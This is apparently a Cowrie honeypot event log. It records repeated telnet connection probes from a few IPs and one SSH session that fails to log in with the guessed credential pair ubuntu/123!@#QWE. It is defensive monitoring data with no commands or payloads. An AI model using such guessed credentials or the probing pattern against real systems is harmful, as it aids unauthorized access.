{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":55886,"dst_ip":"159.203.135.109","dst_port":23,"session":"410c3088cb85","protocol":"telnet","message":"New connection: 207.180.228.157:55886 (159.203.135.109:23) [session: 410c3088cb85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:22.528888Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":55890,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc89046152d0","protocol":"telnet","message":"New connection: 207.180.228.157:55890 (159.203.135.109:23) [session: fc89046152d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:22.644302Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":36192,"dst_ip":"159.203.135.109","dst_port":23,"session":"002a02110257","protocol":"telnet","message":"New connection: 174.138.46.234:36192 (159.203.135.109:23) [session: 002a02110257]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:23.021408Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":55898,"dst_ip":"159.203.135.109","dst_port":23,"session":"82d64cdb6ddb","protocol":"telnet","message":"New connection: 207.180.228.157:55898 (159.203.135.109:23) [session: 82d64cdb6ddb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:23.216561Z"}
{"eventid":"cowrie.session.closed","duration":7.967874050140381,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:24.044711Z","src_ip":"174.138.46.234","session":"1c74bbae0a74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":55900,"dst_ip":"159.203.135.109","dst_port":23,"session":"73d5702c2e2d","protocol":"telnet","message":"New connection: 207.180.228.157:55900 (159.203.135.109:23) [session: 73d5702c2e2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:24.331348Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":45976,"dst_ip":"159.203.135.109","dst_port":23,"session":"33471b1579e3","protocol":"telnet","message":"New connection: 207.180.228.157:45976 (159.203.135.109:23) [session: 33471b1579e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:25.412371Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":45982,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4fb18f98739","protocol":"telnet","message":"New connection: 207.180.228.157:45982 (159.203.135.109:23) [session: d4fb18f98739]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:26.989166Z"}
{"eventid":"cowrie.session.closed","duration":30.73788332939148,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:27.241535Z","src_ip":"207.180.228.157","session":"6c77fa39620e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":45998,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7a050491b86","protocol":"telnet","message":"New connection: 207.180.228.157:45998 (159.203.135.109:23) [session: f7a050491b86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:27.286045Z"}
{"eventid":"cowrie.session.closed","duration":31.018271684646606,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:27.293593Z","src_ip":"207.180.228.157","session":"c9e0dae1fef4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17461657524109,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:27.509139Z","src_ip":"207.180.228.157","session":"38bd901265c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.56380844116211,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:27.696346Z","src_ip":"207.180.228.157","session":"f77637d2c62e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.528984785079956,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:27.704877Z","src_ip":"207.180.228.157","session":"86a5b5138ae8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":46004,"dst_ip":"159.203.135.109","dst_port":23,"session":"1480e2137adc","protocol":"telnet","message":"New connection: 207.180.228.157:46004 (159.203.135.109:23) [session: 1480e2137adc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:27.788273Z"}
{"eventid":"cowrie.session.closed","duration":31.429340839385986,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:27.915427Z","src_ip":"207.180.228.157","session":"cce18f4da3df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":46016,"dst_ip":"159.203.135.109","dst_port":23,"session":"271b5adf843a","protocol":"telnet","message":"New connection: 207.180.228.157:46016 (159.203.135.109:23) [session: 271b5adf843a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:28.744387Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":46030,"dst_ip":"159.203.135.109","dst_port":23,"session":"00a23283f274","protocol":"telnet","message":"New connection: 207.180.228.157:46030 (159.203.135.109:23) [session: 00a23283f274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:28.821911Z"}
{"eventid":"cowrie.session.closed","duration":30.975911855697632,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:29.596256Z","src_ip":"207.180.228.157","session":"4ad0168283b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.55324912071228,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:29.705724Z","src_ip":"207.180.228.157","session":"b685f5bc98fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.988062381744385,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:30.224696Z","src_ip":"207.180.228.157","session":"13cecf128c64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":46042,"dst_ip":"159.203.135.109","dst_port":23,"session":"61bd40e2aff7","protocol":"telnet","message":"New connection: 207.180.228.157:46042 (159.203.135.109:23) [session: 61bd40e2aff7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:30.384358Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.38.20.25","src_port":52356,"dst_ip":"159.203.135.109","dst_port":22,"session":"d76e8b1acbc9","protocol":"ssh","message":"New connection: 209.38.20.25:52356 (159.203.135.109:22) [session: d76e8b1acbc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:30.739991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:30.744998Z","src_ip":"209.38.20.25","session":"d76e8b1acbc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":46052,"dst_ip":"159.203.135.109","dst_port":23,"session":"ced63230d005","protocol":"telnet","message":"New connection: 207.180.228.157:46052 (159.203.135.109:23) [session: ced63230d005]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:30.884811Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:30.960358Z","src_ip":"209.38.20.25","session":"d76e8b1acbc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.722546815872192,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:31.310977Z","src_ip":"207.180.228.157","session":"b6d8712f56e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":46068,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5f4231e66c9","protocol":"telnet","message":"New connection: 207.180.228.157:46068 (159.203.135.109:23) [session: a5f4231e66c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:31.758842Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123!@#QWE","message":"login attempt [ubuntu/123!@#QWE] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:31.836411Z","src_ip":"209.38.20.25","session":"d76e8b1acbc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":46078,"dst_ip":"159.203.135.109","dst_port":23,"session":"e24e9e08731e","protocol":"telnet","message":"New connection: 207.180.228.157:46078 (159.203.135.109:23) [session: e24e9e08731e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:32.398786Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:33.050952Z","src_ip":"209.38.20.25","session":"d76e8b1acbc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":46088,"dst_ip":"159.203.135.109","dst_port":23,"session":"03f24cccb06f","protocol":"telnet","message":"New connection: 207.180.228.157:46088 (159.203.135.109:23) [session: 03f24cccb06f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:33.248983Z"}
{"eventid":"cowrie.session.closed","duration":31.157819509506226,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:33.710782Z","src_ip":"207.180.228.157","session":"3041ed8488c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.834643840789795,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:33.849729Z","src_ip":"207.180.228.157","session":"15a42e661724","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":46104,"dst_ip":"159.203.135.109","dst_port":23,"session":"295e9b46d6de","protocol":"telnet","message":"New connection: 207.180.228.157:46104 (159.203.135.109:23) [session: 295e9b46d6de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:33.877854Z"}
{"eventid":"cowrie.session.closed","duration":31.590387105941772,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:34.030820Z","src_ip":"207.180.228.157","session":"c2ed939dbb4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":46116,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb945bf0cf7b","protocol":"telnet","message":"New connection: 207.180.228.157:46116 (159.203.135.109:23) [session: eb945bf0cf7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:34.329913Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":44116,"dst_ip":"159.203.135.109","dst_port":23,"session":"552b16c7573e","protocol":"telnet","message":"New connection: 207.180.228.157:44116 (159.203.135.109:23) [session: 552b16c7573e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:34.758090Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":44130,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c7c612bdada","protocol":"telnet","message":"New connection: 207.180.228.157:44130 (159.203.135.109:23) [session: 7c7c612bdada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:34.772391Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":44142,"dst_ip":"159.203.135.109","dst_port":23,"session":"6330177441a6","protocol":"telnet","message":"New connection: 207.180.228.157:44142 (159.203.135.109:23) [session: 6330177441a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:35.419776Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":44156,"dst_ip":"159.203.135.109","dst_port":23,"session":"153b050fb147","protocol":"telnet","message":"New connection: 207.180.228.157:44156 (159.203.135.109:23) [session: 153b050fb147]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:35.693579Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":44158,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ab325fbfd3a","protocol":"telnet","message":"New connection: 207.180.228.157:44158 (159.203.135.109:23) [session: 2ab325fbfd3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:35.741597Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":44160,"dst_ip":"159.203.135.109","dst_port":23,"session":"30d102266376","protocol":"telnet","message":"New connection: 207.180.228.157:44160 (159.203.135.109:23) [session: 30d102266376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:35.804714Z"}
{"eventid":"cowrie.session.closed","duration":31.06500005722046,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:36.452517Z","src_ip":"207.180.228.157","session":"80934e02437e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":44168,"dst_ip":"159.203.135.109","dst_port":23,"session":"6470899d0c77","protocol":"telnet","message":"New connection: 207.180.228.157:44168 (159.203.135.109:23) [session: 6470899d0c77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:36.534950Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":44174,"dst_ip":"159.203.135.109","dst_port":23,"session":"36297f85e9f6","protocol":"telnet","message":"New connection: 207.180.228.157:44174 (159.203.135.109:23) [session: 36297f85e9f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:36.634181Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":44178,"dst_ip":"159.203.135.109","dst_port":23,"session":"271050774750","protocol":"telnet","message":"New connection: 207.180.228.157:44178 (159.203.135.109:23) [session: 271050774750]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:36.757925Z"}
{"eventid":"cowrie.session.closed","duration":31.428638696670532,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:37.009299Z","src_ip":"207.180.228.157","session":"d3e587cf046d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78952383995056,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:37.085862Z","src_ip":"207.180.228.157","session":"3f3f18699922","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":44192,"dst_ip":"159.203.135.109","dst_port":23,"session":"372d9206b43a","protocol":"telnet","message":"New connection: 207.180.228.157:44192 (159.203.135.109:23) [session: 372d9206b43a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:37.647506Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":44206,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a1a6f9a57ee","protocol":"telnet","message":"New connection: 207.180.228.157:44206 (159.203.135.109:23) [session: 0a1a6f9a57ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:38.517477Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":44212,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fd2ae61fab6","protocol":"telnet","message":"New connection: 207.180.228.157:44212 (159.203.135.109:23) [session: 8fd2ae61fab6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:39.038897Z"}
{"eventid":"cowrie.session.closed","duration":31.06684374809265,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:39.386373Z","src_ip":"207.180.228.157","session":"ca6ed62c2471","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":44214,"dst_ip":"159.203.135.109","dst_port":23,"session":"91f786ada7dd","protocol":"telnet","message":"New connection: 207.180.228.157:44214 (159.203.135.109:23) [session: 91f786ada7dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:39.481673Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":44224,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef93b96237bf","protocol":"telnet","message":"New connection: 207.180.228.157:44224 (159.203.135.109:23) [session: ef93b96237bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:42.237779Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":44238,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc1c84d0ad20","protocol":"telnet","message":"New connection: 207.180.228.157:44238 (159.203.135.109:23) [session: bc1c84d0ad20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:42.396747Z"}
{"eventid":"cowrie.session.closed","duration":31.572155714035034,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:42.660904Z","src_ip":"207.180.228.157","session":"c931d9b53d2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":44244,"dst_ip":"159.203.135.109","dst_port":23,"session":"fec9ccfd6b2e","protocol":"telnet","message":"New connection: 207.180.228.157:44244 (159.203.135.109:23) [session: fec9ccfd6b2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:42.790340Z"}
{"eventid":"cowrie.session.closed","duration":30.80491304397583,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:43.661885Z","src_ip":"207.180.228.157","session":"38697c70c4a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":44248,"dst_ip":"159.203.135.109","dst_port":23,"session":"53fcb4a0639d","protocol":"telnet","message":"New connection: 207.180.228.157:44248 (159.203.135.109:23) [session: 53fcb4a0639d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:43.845086Z"}
{"eventid":"cowrie.session.closed","duration":30.574721097946167,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:44.346716Z","src_ip":"207.180.228.157","session":"8fb56affe7bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":44264,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2800b735762","protocol":"telnet","message":"New connection: 207.180.228.157:44264 (159.203.135.109:23) [session: f2800b735762]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:44.544456Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":39858,"dst_ip":"159.203.135.109","dst_port":23,"session":"c76a92fe0900","protocol":"telnet","message":"New connection: 207.180.228.157:39858 (159.203.135.109:23) [session: c76a92fe0900]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:44.653039Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":39872,"dst_ip":"159.203.135.109","dst_port":23,"session":"6600d23186b3","protocol":"telnet","message":"New connection: 207.180.228.157:39872 (159.203.135.109:23) [session: 6600d23186b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:45.093354Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":44658,"dst_ip":"159.203.135.109","dst_port":23,"session":"53ea1be60ea5","protocol":"telnet","message":"New connection: 174.138.46.234:44658 (159.203.135.109:23) [session: 53ea1be60ea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:46.131301Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":39876,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7cf5755a9bf","protocol":"telnet","message":"New connection: 207.180.228.157:39876 (159.203.135.109:23) [session: d7cf5755a9bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:46.189070Z"}
{"eventid":"cowrie.session.closed","duration":30.65742540359497,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:46.279235Z","src_ip":"207.180.228.157","session":"292119ffe304","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.316314935684204,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:46.357034Z","src_ip":"207.180.228.157","session":"e97383df084f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6545352935791,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:47.516790Z","src_ip":"207.180.228.157","session":"ba1d3511cf1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":45066,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c199a227d43","protocol":"telnet","message":"New connection: 174.138.46.234:45066 (159.203.135.109:23) [session: 2c199a227d43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:47.543780Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":45078,"dst_ip":"159.203.135.109","dst_port":23,"session":"47252d72b00c","protocol":"telnet","message":"New connection: 174.138.46.234:45078 (159.203.135.109:23) [session: 47252d72b00c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:47.585290Z"}
{"eventid":"cowrie.session.closed","duration":30.891534566879272,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:48.166699Z","src_ip":"207.180.228.157","session":"4a8d6e0edc37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83782172203064,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:48.349668Z","src_ip":"207.180.228.157","session":"adff059e3161","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":39890,"dst_ip":"159.203.135.109","dst_port":23,"session":"5817b72d1737","protocol":"telnet","message":"New connection: 207.180.228.157:39890 (159.203.135.109:23) [session: 5817b72d1737]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:49.298680Z"}
{"eventid":"cowrie.session.closed","duration":30.6194064617157,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:49.450788Z","src_ip":"207.180.228.157","session":"0ce009bee30e","protocol":"telnet"}
